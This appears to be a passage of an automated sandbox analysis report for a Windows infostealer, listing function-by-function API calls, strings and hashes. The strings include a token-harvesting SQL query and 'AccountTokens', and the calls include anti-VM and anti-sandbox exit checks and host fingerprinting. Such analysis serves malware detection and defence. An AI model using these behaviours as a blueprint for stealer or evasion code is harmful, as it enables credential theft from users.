GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02729628,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02729628,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

@, xrefs: 00417BED
%d MB, xrefs: 00417C43

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: a2649502dd857f7a6f2c152c7032022c2e5ebb9aae8a7a6abff8c91a4bda3b7d
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: a2649502dd857f7a6f2c152c7032022c2e5ebb9aae8a7a6abff8c91a4bda3b7d
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B
AccountTokens, xrefs: 0040B9A9
AccountTokens, xrefs: 0040B91A
AccountId, xrefs: 0040BB02

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: c56671e0bc2b8f00338409f1353af808f01d9c607e4c86b9dbf44263b9ff18f7
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: c56671e0bc2b8f00338409f1353af808f01d9c607e4c86b9dbf44263b9ff18f7
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0270C060), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0270C078), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0270C0A8), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0270C0F0), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0270C108), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,02704B20), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0270A878), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0270A8D8), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,027267D8), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,02726820), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,02726898), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,027269A0), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,0270A798), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,02726790), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02704B50,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,02704B50,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleLangName__aulldiv$ComputerCreateCurrentGlobalInfoMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1125299040-0
Opcode ID: 03bb3138faac67e81a44472a8eb4fe45d98a296beb64805836d30916bf36ae97
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 03bb3138faac67e81a44472a8eb4fe45d98a296beb64805836d30916bf36ae97
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00417E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

RegQueryValueExA.KERNEL32(00000000,027296E8,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,02729730,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8
RegCloseKey.ADVAPI32(00000000), ref: 004180BA

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: f8d8b98591cc8530eedf35a3a8f93d500dd07e40f4c1d474174918ececd91454
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: f8d8b98591cc8530eedf35a3a8f93d500dd07e40f4c1d474174918ececd91454
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??2@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: ??2@CrackInternetlstrlen
String ID: <
API String ID: 184842949-4251816714
Opcode ID: e5f29cefa4dd9598d5af44d4b7297b32cb790e355d029db3f3dd4240a19260d9
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: e5f29cefa4dd9598d5af44d4b7297b32cb790e355d029db3f3dd4240a19260d9
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00417130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,02709398,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,02729718,00000000,00000000,?,000000FF), ref: 0041719E
RegCloseKey.ADVAPI32(00000000), ref: 004171A8

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,02709398,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A
RegCloseKey.ADVAPI32(00417159), ref: 00417224

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00413BC0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegOpenKeyExA.KERNEL32(80000001,02729BB0,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,02729028,00000000,00000000,00000000,000000FF), ref: 00413C28
RegCloseKey.ADVAPI32(?), ref: 00413C32
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,0272A398), ref: 00413C6B

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

